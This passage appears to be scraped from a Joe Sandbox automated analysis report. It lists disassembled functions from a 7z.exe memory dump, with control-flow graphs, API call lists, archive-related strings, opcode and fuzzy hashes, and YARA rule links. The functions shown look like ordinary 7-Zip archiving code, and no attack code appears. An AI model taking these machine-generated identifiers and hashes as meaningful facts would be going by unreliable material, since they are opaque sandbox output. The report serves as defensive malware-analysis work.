                                                                                                                                                                                                                                                              control_flow_graph 3392 6d38e8-6d3977 call 6d1700 call 6d373c memmove 3397 6d3979-6d398d call 6d3864 free 3392->3397 3398 6d3992-6d39a5 3392->3398 3408 6d3cb6-6d3cc9 3397->3408 3400 6d39ab 3398->3400 3401 6d3a30-6d3a3d call 6d3864 3398->3401 3403 6d39ae-6d39c2 3400->3403 3410 6d3a3f-6d3a64 call 6d02a0 _CxxThrowException 3401->3410 3411 6d3a65-6d3a77 3401->3411 3405 6d3a1d-6d3a25 3403->3405 3406 6d39c4-6d39ec call 6d09e0 call 6b2130 3403->3406 3405->3403 3412 6d3a27-6d3a2b 3405->3412 3424 6d39ee-6d39f9 call 6b3314 3406->3424 3425 6d39fb 3406->3425 3410->3411 3415 6d3a79-6d3a7c 3411->3415 3416 6d3ae1-6d3b27 call 6e5f5c call 6d13e8 * 2 3411->3416 3412->3401 3420 6d3a7e-6d3aac call 6b3208 call 6b6e10 call 6b2130 3415->3420 3439 6d3b2d-6d3b30 3416->3439 3440 6d3c2a-6d3c46 free 3416->3440 3445 6d3abd 3420->3445 3446 6d3aae-6d3abb call 6b3314 3420->3446 3430 6d39fe-6d3a16 call 6bb8f0 free 3424->3430 3425->3430 3430->3405 3444 6d3b33-6d3b56 call 6b2130 3439->3444 3442 6d3c48 3440->3442 3443 6d3c76-6d3c84 free 3440->3443 3448 6d3c4c-6d3c5f 3442->3448 3449 6d3c88-6d3c95 3443->3449 3461 6d3b68 3444->3461 3462 6d3b58-6d3b66 call 6b3314 3444->3462 3447 6d3ac0-6d3adf call 6bb8f0 free 3445->3447 3446->3447 3447->3416 3447->3420 3453 6d3c71-6d3c74 3448->3453 3454 6d3c61-6d3c6c free * 2 3448->3454 3455 6d3ca7-6d3caa 3449->3455 3456 6d3c97-6d3ca2 free * 2 3449->3456 3453->3443 3453->3448 3454->3453 3455->3449 3460 6d3cac-6d3cb4 free 3455->3460 3456->3455 3460->3408 3464 6d3b6b-6d3ba1 call 6b2130 3461->3464 3462->3464 3468 6d3bb3 3464->3468 3469 6d3ba3-6d3bb1 call 6b3314 3464->3469 3471 6d3bb6-6d3bc6 3468->3471 3469->3471 3473 6d3bc8-6d3be2 call 6b4338 3471->3473 3474 6d3be4-6d3bf2 3471->3474 3473->3474 3478 6d3bfa-6d3c29 call 6d02a0 _CxxThrowException 3473->3478 3474->3444 3476 6d3bf8 3474->3476 3476->3440 3478->3440
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006D373C: free.MSVCRT ref: 006D37FB
                                                                                                                                                                                                                                                              • memmove.MSVCRT ref: 006D396F
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D3986
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D3A11
                                                                                                                                                                                                                                                              • _CxxThrowException.MSVCRT ref: 006D3A5F
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D3AD3
                                                                                                                                                                                                                                                                • Part of subcall function 006D3864: free.MSVCRT ref: 006D3877
                                                                                                                                                                                                                                                                • Part of subcall function 006D3864: free.MSVCRT ref: 006D3892
                                                                                                                                                                                                                                                                • Part of subcall function 006D3864: free.MSVCRT ref: 006D389B
                                                                                                                                                                                                                                                                • Part of subcall function 006D3864: free.MSVCRT ref: 006D38C6
                                                                                                                                                                                                                                                                • Part of subcall function 006D3864: free.MSVCRT ref: 006D38CE
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ExceptionThrowmemmove
                                                                                                                                                                                                                                                              • String ID: Cannot find archive$Duplicate archive path:
                                                                                                                                                                                                                                                              • API String ID: 3934437811-2067063536
                                                                                                                                                                                                                                                              • Opcode ID: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
                                                                                                                                                                                                                                                              • Instruction ID: 0bb17776225fe8934f9959abdf3039374c4c958d5c4984b28936439c6380e077
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: cb8f74f9773297cdd49a0ca175e0294e4bed06a47462a3eb8b06c6dd458c7679
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3CA1B772715B9592CA60EB15E89069EB3A2F7C5BC0F444516EF8E07B28DF3CC986CB05
                                                                                                                                                                                                                                                              Function 006E42A2 Relevance: 21.3, APIs: 13, Strings: 1, Instructions: 316COMMON
                                                                                                                                                                                                                                                              Download Yara Rule

                                                                                                                                                                                                                                                              Control-flow Graph

                                                                                                                                                                                                                                                              • Executed
                                                                                                                                                                                                                                                              • Not Executed
                                                                                                                                                                                                                                                              control_flow_graph 3481 6e42a2-6e42c0 3483 6e42d5-6e42d8 3481->3483 3484 6e42c2-6e42d0 3481->3484 3485 6e42da 3483->3485 3486 6e42e0-6e43ab call 6d40c4 memmove call 6b3404 call 6e3a20 3483->3486 3484->3483 3485->3486 3494 6e45d8-6e468f call 6b3404 * 3 free * 2 call 6d419c 3486->3494 3495 6e43b1-6e43b3 3486->3495 3538 6e4698-6e46a0 3494->3538 3539 6e4691-6e4697 3494->3539 3497 6e43b9-6e43d7 call 6dc684 3495->3497 3498 6e46c5-6e46f4 free * 2 call 6d419c 3495->3498 3508 6e43dd-6e43ef call 6b2130 3497->3508 3509 6e4728-6e4757 free * 2 call 6d419c 3497->3509 3506 6e46fd-6e4705 3498->3506 3507 6e46f6-6e46fc 3498->3507 3513 6e470e-6e4719 3506->3513 3514 6e4707-6e470d 3506->3514 3507->3506 3526 6e4403 3508->3526 3527 6e43f1-6e4401 call 6dcaac 3508->3527 3523 6e4759-6e475f 3509->3523 3524 6e4760-6e4768 3509->3524 3515 6e471b 3513->3515 3516 6e4721-6e4723 3513->3516 3514->3513 3515->3516 3522 6e47fe-6e4811 3516->3522 3523->3524 3531 6e476a-6e4770 3524->3531 3532 6e4771-6e477c 3524->3532 3529 6e4406-6e4441 call 6bb8f0 free * 2 call 6d419c 3526->3529 3527->3529 3551 6e444a-6e4452 3529->3551 3552 6e4443-6e4449 3529->3552 3531->3532 3533 6e477e 3532->3533 3534 6e4784-6e4786 3532->3534 3533->3534 3534->3522 3542 6e47f2-6e47fb 3534->3542 3540 6e46a9-6e46b4 3538->3540 3541 6e46a2-6e46a8 3538->3541 3539->3538 3540->3542 3545 6e46ba-6e46c0 3540->3545 3541->3540 3542->3522 3545->3542 3553 6e445b-6e446c 3551->3553 3554 6e4454-6e445a 3551->3554 3552->3551 3555 6e3fa9-6e4033 memmove 3553->3555 3556 6e4472-6e4478 3553->3556 3554->3553 3561 6e4054-6e4072 memmove 3555->3561 3562 6e4035-6e4052 memmove 3555->3562 3556->3555 3561->3542 3563 6e4078-6e40e9 memmove call 6dc0fc call 6b3404 * 2 call 6e3d58 3561->3563 3562->3563 3573 6e40ee-6e40f2 3563->3573 3574 6e447d-6e4480 3573->3574 3575 6e40f8-6e410a call 6b2130 3573->3575 3576 6e450c-6e451b call 6d419c 3574->3576 3577 6e4486-6e450b call 6b3404 * 3 3574->3577 3583 6e411e 3575->3583 3584 6e410c-6e411c call 6dcaac 3575->3584 3576->3522 3577->3576 3588 6e4121-6e413a call 6bb8f0 call 6d419c 3583->3588 3584->3588
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmove
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 1534225298-3916222277
                                                                                                                                                                                                                                                              • Opcode ID: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
                                                                                                                                                                                                                                                              • Instruction ID: 89fd92576bda840b92845bbdb445cd74fb95c1a4f999f8d6b72301cd42b19bba
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: bfda89d0d9cdfe3f540f1be295f01f6c1ea07059f837bb15d646c794703c55e5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: C0D13E73209BC496CB61DB2AE0902EEBB61F7D6B44F545016DB8E43B29DF78C589CB00
                                                                                                                                                                                                                                                              Function 006D91E0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 103libraryloaderCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AddressProc$memmove
                                                                                                                                                                                                                                                              • String ID: CreateDecoder$CreateEncoder$GetHashers$GetMethodProperty$GetNumberOfMethods
                                                                                                                                                                                                                                                              • API String ID: 2879976980-73314117
                                                                                                                                                                                                                                                              • Opcode ID: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
                                                                                                                                                                                                                                                              • Instruction ID: 1cc19207aeb70824a5868a0922ae0ac70ac9967f15bea5c16767c6a6881f6af3
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 86a18b28d52ae06bcd17bab5c6f39fa0c0b3e485010e9e2949c622b07ec98686
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: A9416A32A15A42D6DB20DF25F8843ADB362F784784F405527EB8E83764DF79D945CB10
                                                                                                                                                                                                                                                              Function 006F1BC0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 250COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F1CF9
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: memset.MSVCRT ref: 006FB20D
                                                                                                                                                                                                                                                                • Part of subcall function 006FB1C8: fputs.MSVCRT ref: 006FB232
                                                                                                                                                                                                                                                                • Part of subcall function 006B2300: fputc.MSVCRT ref: 006B2311
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F1DEE
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F1F07
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F1F5C
                                                                                                                                                                                                                                                                • Part of subcall function 006F171C: fputs.MSVCRT ref: 006F1744
                                                                                                                                                                                                                                                                • Part of subcall function 006F171C: fputs.MSVCRT ref: 006F1758
                                                                                                                                                                                                                                                                • Part of subcall function 006F171C: free.MSVCRT ref: 006F176B
                                                                                                                                                                                                                                                                • Part of subcall function 006B6618: FormatMessageW.KERNEL32 ref: 006B6676
                                                                                                                                                                                                                                                                • Part of subcall function 006B6618: LocalFree.KERNEL32 ref: 006B6698
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B237E
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: fputs.MSVCRT ref: 006B23B8
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B23C4
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F1F86
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: fputs$free$FormatFreeLocalMessagefputcmemset
                                                                                                                                                                                                                                                              • String ID: Can't allocate required memory$ERROR: $ERRORS:$WARNINGS:
                                                                                                                                                                                                                                                              • API String ID: 2553544393-24972044
                                                                                                                                                                                                                                                              • Opcode ID: 5ec651521e921188cfebbe0943830bcb464d12baf91779271459dbeb9241f1ce
                                                                                                                                                                                                                                                              • Instruction ID: d1f119a2278f055e3dc48019ec59758cbb691918a00955ae92e6dfdcb0ed5e89
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5ec651521e921188cfebbe0943830bcb464d12baf91779271459dbeb9241f1ce
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: BFA170A6704689D6CA69EF72D5603FE7362F746BC0F48412ADB5E4B701DF68E8A4C304
                                                                                                                                                                                                                                                              Function 006F949B Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 94COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$ExceptionThrowfputs
                                                                                                                                                                                                                                                              • String ID: Decoding ERROR
                                                                                                                                                                                                                                                              • API String ID: 117389134-2585761706
                                                                                                                                                                                                                                                              • Opcode ID: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
                                                                                                                                                                                                                                                              • Instruction ID: 34228b8ce234bfb70d9b5f0a9f6cce9a6070c1d2000f8ec59330325af14207ba
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 3411419880789d43690792f4aa03f2aa0ef935c776cadf4be504cd4851e6c4ab
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 5631BEB23599C581CA70AB69E8903FE63A3F781790F445526CB8E47768DE38C885C745
                                                                                                                                                                                                                                                              Function 006DA7FC Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 123libraryloaderCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006B6464: FreeLibrary.KERNELBASE(?,?,?,006B64E7), ref: 006B6475
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: free.MSVCRT ref: 006B3431
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: memmove.MSVCRT ref: 006B344C
                                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32 ref: 006DA8CA
                                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32 ref: 006DA8E8
                                                                                                                                                                                                                                                              • GetProcAddress.KERNEL32 ref: 006DA908
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DA985
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006DA996
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: AddressProcfree$FreeLibrarymemmove
                                                                                                                                                                                                                                                              • String ID: CreateObject$SetCaseSensitive$SetLargePageMode
                                                                                                                                                                                                                                                              • API String ID: 852969883-606380122
                                                                                                                                                                                                                                                              • Opcode ID: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
                                                                                                                                                                                                                                                              • Instruction ID: 397ce8a69c49f4f2548af9d7db2691e4c6f0d98c3254cc9a75ab863146bedcc6
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 710e18dece972f2a263eb770059622d89b70c4050ec211417c46d53ec9b2e5f3
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 3741C372A14B4186DF20EF25E8507AE7362FB84B94F488526DF8E47765DF38D986C340
                                                                                                                                                                                                                                                              Function 006FB480 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 229stringCOMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • strcmp.MSVCRT ref: 006FB723
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006FB743
                                                                                                                                                                                                                                                                • Part of subcall function 006B38C8: memmove.MSVCRT(006BA0E5), ref: 006B3907
                                                                                                                                                                                                                                                                • Part of subcall function 006B3A64: memmove.MSVCRT ref: 006B3AAA
                                                                                                                                                                                                                                                              • GetTickCount.KERNEL32 ref: 006FB49E
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: free.MSVCRT ref: 006B3431
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: memmove.MSVCRT ref: 006B344C
                                                                                                                                                                                                                                                              • strcmp.MSVCRT ref: 006FB4E3
                                                                                                                                                                                                                                                              • wcscmp.MSVCRT ref: 006FB502
                                                                                                                                                                                                                                                              • strcmp.MSVCRT ref: 006FB568
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: memmovestrcmp$CountTickfputsfreewcscmp
                                                                                                                                                                                                                                                              • String ID: .
                                                                                                                                                                                                                                                              • API String ID: 591578422-4150638102
                                                                                                                                                                                                                                                              • Opcode ID: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
                                                                                                                                                                                                                                                              • Instruction ID: 9e528225b9eafd8144bff4dcd406f53b8f37cad71a2832b37b1fc8e64fc8b01b
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 5acd8cd52b168fe2fc51d3cd0102c06d8f0252148c2191c97aee85e0001a7e08
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 70A19073700689E7CB59EF2AD6902AD73A2F344780F80902ADB5A47B11DF34E8B6C700
                                                                                                                                                                                                                                                              Function 006F2ECC Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 77COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F2F7E
                                                                                                                                                                                                                                                              • fputs.MSVCRT ref: 006F2F9D
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F2FB6
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F2FC1
                                                                                                                                                                                                                                                                • Part of subcall function 006B2C78: free.MSVCRT ref: 006B2CAE
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B237E
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: fputs.MSVCRT ref: 006B23B8
                                                                                                                                                                                                                                                                • Part of subcall function 006B2320: free.MSVCRT ref: 006B23C4
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006F2FCC
                                                                                                                                                                                                                                                              Strings
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$fputs
                                                                                                                                                                                                                                                              • String ID: = $h<p
                                                                                                                                                                                                                                                              • API String ID: 2444650769-1637250983
                                                                                                                                                                                                                                                              • Opcode ID: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
                                                                                                                                                                                                                                                              • Instruction ID: 5f931308c27f2a4c8289f81c7518d7d9ee6495d97f6ced84286024477d3e7b8e
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 40218af8c8f5cebf14e2460a5095f74d7b39ca0d1f579d7e20a065c4070789fb
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 1621A2A331954581CA60EF15E4A12AEA732EBD5BD0F445326FF5E43768DF28C985CB04
                                                                                                                                                                                                                                                              Function 006D9D98 Relevance: 12.1, APIs: 8, Instructions: 134COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                                • Part of subcall function 006D9BCC: free.MSVCRT ref: 006D9C11
                                                                                                                                                                                                                                                                • Part of subcall function 006D9BCC: free.MSVCRT ref: 006D9C19
                                                                                                                                                                                                                                                                • Part of subcall function 006D9BCC: free.MSVCRT ref: 006D9C3B
                                                                                                                                                                                                                                                                • Part of subcall function 006D9BCC: free.MSVCRT ref: 006D9D2A
                                                                                                                                                                                                                                                              • wcscmp.MSVCRT ref: 006D9E66
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D9ECA
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D9ED4
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D9F13
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D9F1B
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D9F28
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D9F49
                                                                                                                                                                                                                                                              • free.MSVCRT ref: 006D9F51
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: free.MSVCRT ref: 006B3431
                                                                                                                                                                                                                                                                • Part of subcall function 006B3404: memmove.MSVCRT ref: 006B344C
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799436545.000000000071F000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                              • Snapshot File: hcaresult_11_2_6b0000_7z.jbxd
                                                                                                                                                                                                                                                              Similarity
                                                                                                                                                                                                                                                              • API ID: free$memmovewcscmp
                                                                                                                                                                                                                                                              • String ID:
                                                                                                                                                                                                                                                              • API String ID: 3584677832-0
                                                                                                                                                                                                                                                              • Opcode ID: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
                                                                                                                                                                                                                                                              • Instruction ID: c90a7b49dff9e5d3a5bd6bb6a4150ee9fd9a1fa6fa5c82bad0b933c9686db995
                                                                                                                                                                                                                                                              • Opcode Fuzzy Hash: 419078b5561bcbe998c8bace5f80db078349074a36591a840ea38ec4c74fc1c5
                                                                                                                                                                                                                                                              • Instruction Fuzzy Hash: 4C411763704A8191CA50FF26E8501AFA763FB81BE8F44522AEF5D47764DF38C88AC304
                                                                                                                                                                                                                                                              Function 006FE16E Relevance: 9.1, APIs: 6, Instructions: 65COMMON
                                                                                                                                                                                                                                                              Download Yara Rule
                                                                                                                                                                                                                                                              APIs
                                                                                                                                                                                                                                                              Memory Dump Source
                                                                                                                                                                                                                                                              • Source File: 0000000B.00000002.2799327297.00000000006B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 006B0000, based on PE: true
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799298375.00000000006B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799370112.00000000006FF000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                                                                                                                                                                                                              • Associated: 0000000B.00000002.2799408488.000000000071C000.00000004.00000001.01000000.0000000A.sdmpDownload File
